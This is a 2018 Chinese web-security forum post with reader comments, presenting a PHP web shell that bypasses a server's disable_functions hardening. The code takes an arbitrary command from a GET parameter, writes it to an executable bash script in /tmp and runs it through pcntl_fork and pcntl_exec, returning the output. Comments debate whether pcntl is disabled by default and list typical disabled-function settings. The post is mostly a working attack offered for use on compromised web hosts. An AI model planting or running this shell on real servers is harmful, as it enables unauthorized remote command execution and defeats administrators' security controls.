php绕过大部分禁用函数限制执行命令
postma****@lanme WEB安全 18055浏览 · 2018-05-31 03:49

大部分被禁用的是这些函数,然而泄露了一个pcntl
被禁用的函数(disable_functions): passthru exec system chroot chgrp
chown shell_exec proc_open proc_get_status popen
ini_alter ini_restore dl openlog syslog
readlink symlink popepassthru stream_socket_server

<?php

header("Content-Type: text/plain");

$cmd="/tmp/exec";
@unlink($cmd);
$c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
$cd="/tmp/output.txt";
print_r(file_get_contents($cd));


switch (pcntl_fork()) {

  case 0:

    $ret = pcntl_exec($cmd);

    exit("case 0");

  default:

    echo "case 1";

    break;

}
10 条评论
某人
表情
可输入 255
s1mple
2020-10-19 06:56 0 回复

水文


31482****@qq.com
2019-03-15 08:40 0 回复

php7.1 fpm 默认配置:


B1ack
2019-02-13 16:04 0 回复

windows下可行?


阿烨
2018-06-14 12:35 0 回复

这个不喷真的不行,像这种很久前就有的东西直接拿来发有意义吗:

https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/bypass_function.md


王一航
2018-06-05 07:21 0 回复

@postma****@lanme 不是的呀,我这边 Ubuntu apt 直接装的 libapache2-mod-php 呀,不知道您说的一键安装指的是。。。


postma****@lanme
2018-06-03 00:48 0 回复

@王一航 也就你禁用, 一键安装环境没有禁用的,所以我这个有用,当然了不用拉倒


王一航
2018-06-01 14:33 0 回复

但是这个函数是默认禁用的啊...



disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals

postma****@lanme
2018-05-31 16:27 0 回复

@land**** 然而还是没有禁用pcntl


land****
2018-05-31 14:49 0 回复

大部分禁用的可能是这些函数:system

shell_exec

passthru

exec

popen

proc_open

pcntl_exec

mail

ini_set

putenv

apache_setenv

mb_send_mail

assert

dl

set_time_limit

ignore_user_abort

symlink

link

chgrp

chown

proc_get_status

ini_alter

ini_restore

openlog

syslog

readlink

stream_socket_server

fsocket

pfsockopen

get_current_user

opendir

show_source

curl_exec

curl_multi_exec

parse_ini_file

highlight_file


风之传说
2018-05-31 09:51 0 回复

虽然现在好久都没有去拿webshell了,但是还是收藏下。


目录